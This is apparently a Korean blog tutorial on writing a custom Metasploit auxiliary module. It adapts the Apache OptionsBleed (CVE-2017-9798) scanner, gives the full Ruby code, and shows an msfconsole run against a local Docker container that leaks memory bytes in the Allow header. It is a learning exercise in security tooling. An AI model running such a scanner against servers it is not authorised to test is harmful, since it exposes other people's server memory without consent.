개요

  • Metasploit에서 자기 자신의 모듈을 개발하는 방법을 알아본다.
  • 예전에 검증했던 Apache OptionsBleed 취약점을 테스트하는 스캐너를 조금 개조해서 자신의 스캐너를 만들어보자.

타겟 서버 준비

테스트할 대상이 되는 서버를 준비해둘 필요가 있다. 예전 POC에서 컨테이너를 만들어 두었으므로 쉽게 준비할 수 있다.

docker run -p 500:80 -d --rm optionsbleed:httpd_2.4.12 

개발

스캐너 파일 생성

  • modules/scanner/http에 apache_optionsbleed2.rb 를 생성한다.
  • 코드는 modules/scanner/http에 apache_optionsbleed.rb 를 거의 복붙하는 형태로 작성할 것이다.

클래스 선언

다음과 같이 선언부를 작성한다. 필요한 Mixin도 추가한다.


class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report

end

initialize함수 작성

  • initialize함수를 작성한다. Name, Description, Author, References, DisclosureDate, License, Notes 등을 적는다. 각 항목의 값은 배열로 줘도 된다.
  • register_options에 어떤 파라메터가 필요한지를 적는다.
  • 가장 우측에 적힌 값은 디폴트 값이다. 예를 들어 아래 코드에서 TARGETURI 파라메터의 디폴트 값은 /로 주고 있다.

def initialize(info = {})
    super(update_info(info,
        'Name' => 'Apache Optionsbleed Scanner2',
        'Description' => %q{
        This module scans for the Apache optionsbleed vulnerability where the Allow
        response header returned from an OPTIONS request may bleed memory if the
        server has a .htaccess file with an invalid Limit method defined.
        },
        'Author' => [
        'Hanno Böck', # Vulnerability discovery
        'Moon', # Metasploit module
        ],
        'References' => [
        [ 'CVE', '2017-9798' ],
        [ 'EDB', '42745' ],
        [ 'URL', 'https://github.com/hannob/optionsbleed' ],
        [ 'URL', 'https://blog.fuzzing-project.org/60-Optionsbleed-HTTP-OPTIONS-method-can-leak-Apaches-server-memory.html' ]
        ],
        'DisclosureDate' => '2017-09-18',
        'License' => MSF_LICENSE,
        'Notes' =>
            {
                'AKA' => ['Optionsbleed']
            }
    ))

    register_options([
        OptString.new('TARGETURI', [true, 'The URI to the folder with the vulnerable .htaccess file', '/']),
        OptInt.new('REPEAT', [true, 'Times to attempt', 40]),
        OptBool.new('BUGS', [true, 'Print if any other Allow header bugs are found', true])
    ])
end

get_allow_header 함수를 작성

  • get_allow_header함수를 작성한다.
  • 이 함수는 타겟 서버에 OPTIONS 메서드를 보내 서버가 응답해주는 Allow 헤더 값을 얻어오는 함수다.
  • send_request_raw함수로 HTTP 요청을 보낼 수 있다.
  • fail_with함수로 에러를 핸들링 할 수 있다.
  • datastore는 유저가 지정한 값을 얻어올 수 있는 것으로 보인다. (RHOST나 RPORT 값도 얻어올 수 있을 것이다.)
 def get_allow_header(ip)
    res = send_request_raw({
      'version' => '1.1',
      'method'  => 'OPTIONS',
      'uri'     => datastore['TARGETURI']
    }, 10)

    fail_with(Failure::Unreachable, "#{peer} - Failed to respond") unless res
    fail_with(Failure::UnexpectedReply, "#{peer} - No Allow header identified") unless res.headers['Allow']
    res.headers['Allow']
  end

run_host함수 작성

  • run_host함수를 작성한다. 이 함수는 프레임워크에 의해 호출되는 것으로 보인다.
  • print_status, vprint_status, print_good 등의 함수로 콘솔에 출력할 수 있는 것으로 보인다.
  • 취약점을 발견했을 때 출력하는 용도로 print_good함수를 쓰고 있는 것을 볼 수 있다.
  • report_vuln함수로 발견한 취약한 서버의 정보를 어딘가로 레포트하는 것을 볼 수 있다. (어디에서 쓰이는지는 잘 모르겠다.)
  • 취약점을 발견했을 때 출력하는 코드를 추가하였다.
 def run_host(ip)
    # Apache bug 61207 regex
    bug_61207 = /^[a-zA-Z]+(-[a-zA-Z]+)? *(, *[a-zA-Z]+(-[a-zA-Z]+)? *)*$/
    # Launchpad bug 1717682 regex
    bug_1717682 = /^[a-zA-Z]+(-[a-zA-Z]+)? *( +[a-zA-Z]+(-[a-zA-Z]+)? *)+$/
    uniques = []
    already_reported = false

    for counter in 1..datastore['REPEAT']
      allows = get_allow_header(ip)
      next if uniques.include?(allows) # no need to re-process non-new items
      uniques << allows
      if allows =~ bug_61207
        if allows.split(',').length > allows.split(',').uniq.length # check for repeat items
          print_status('Some methods were sent multiple times in the list. ' +
                       'This is a bug, but harmless. It may be Apache bug #61207.') if datastore['BUGS']
        else
          vprint_status("Request #{counter}: [Standard Response] -> #{allows}")
        end
      elsif allows =~ bug_1717682 && datastore['BUGS']
        print_status('The list of methods was space-separated instead of comma-separated. ' +
                     'This is a bug, but harmless. It may be Launchpad bug #1717682.')
      else
        print_good("[!] Find!") # for test 
        print_status("[!] print_status Find!") # for test
        vprint_status("[!] vprint_status Find!") # for test
        print_good("Request #{counter}: [OptionsBleed Response] -> #{allows}")
      end
      next unless already_reported
        report_vuln(
          :host => ip,
          :port => rport,
          :name => self.name,
          :refs => self.references
        )
        already_reported = true
    end
  end

테스트

테스트결과는 다음과 같다. 이를 통해 다음을 알 수 있다.

  • use auxiliary/scanner/http/apache_optionsbleed2 커맨드를 사용해서 새로 만든 모듈을 로딩하는데 성공했다.
  • exploit 커맨드를 수행하면 모듈의 run_host함수가 수행된다.
  • print_good함수로 출력하면 콘솔에서 앞에 연두색의 [+]가 붙여져서 출력된다.
  • print_status함수로 출력하면 콘솔에서 앞에 파란색의 [*]가 붙여져서 출력된다.
  • vprint_status로 출력한 내용은 콘솔에 출력되지 않는다. (어디로 출력되는 걸까?)
msfconsole
msf6 > use auxiliary/scanner/http/apache_optionsbleed2
msf6 auxiliary(scanner/http/apache_optionsbleed2) > set RHOSTS localhost
RHOSTS => localhost
msf6 auxiliary(scanner/http/apache_optionsbleed2) > set RPORT 500
RPORT => 500
msf6 auxiliary(scanner/http/apache_optionsbleed2) > exploit

[+] [!] Find!
[*] [!] print_status Find!
[+] Request 15: [OptionsBleed Response] -> OPTIONS,▒Th ,GET,HEAD,POST,TRACE
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/apache_optionsbleed2) >

테스트결과

감상

  • 어거지로 코드로 복붙했지만 자신의 모듈을 개발해 보았다.
  • 모듈을 수정해서 특정 값을 출력한다거나 몇 가지 알게된 것도 있고, 아직 궁금증이 남아있는 부분도 있다. vprint_status는 어디로 출력하는 함수인가? report_vuln로 보고된 내용은 어디에서 사용되는가?
  • 일단 샘플 모듈 개발은 이 것으로 마치고자 한다.

참고

  • https://docs.metasploit.com/docs/development/developing-modules/guides/get-started-writing-an-exploit.html
  • https://docs.metasploit.com/docs/development/developing-modules/guides/scanners/how-to-write-a-http-loginscanner-module.html
  • https://docs.metasploit.com/docs/development/developing-modules/guides/how-to-get-started-with-writing-an-auxiliary-module.html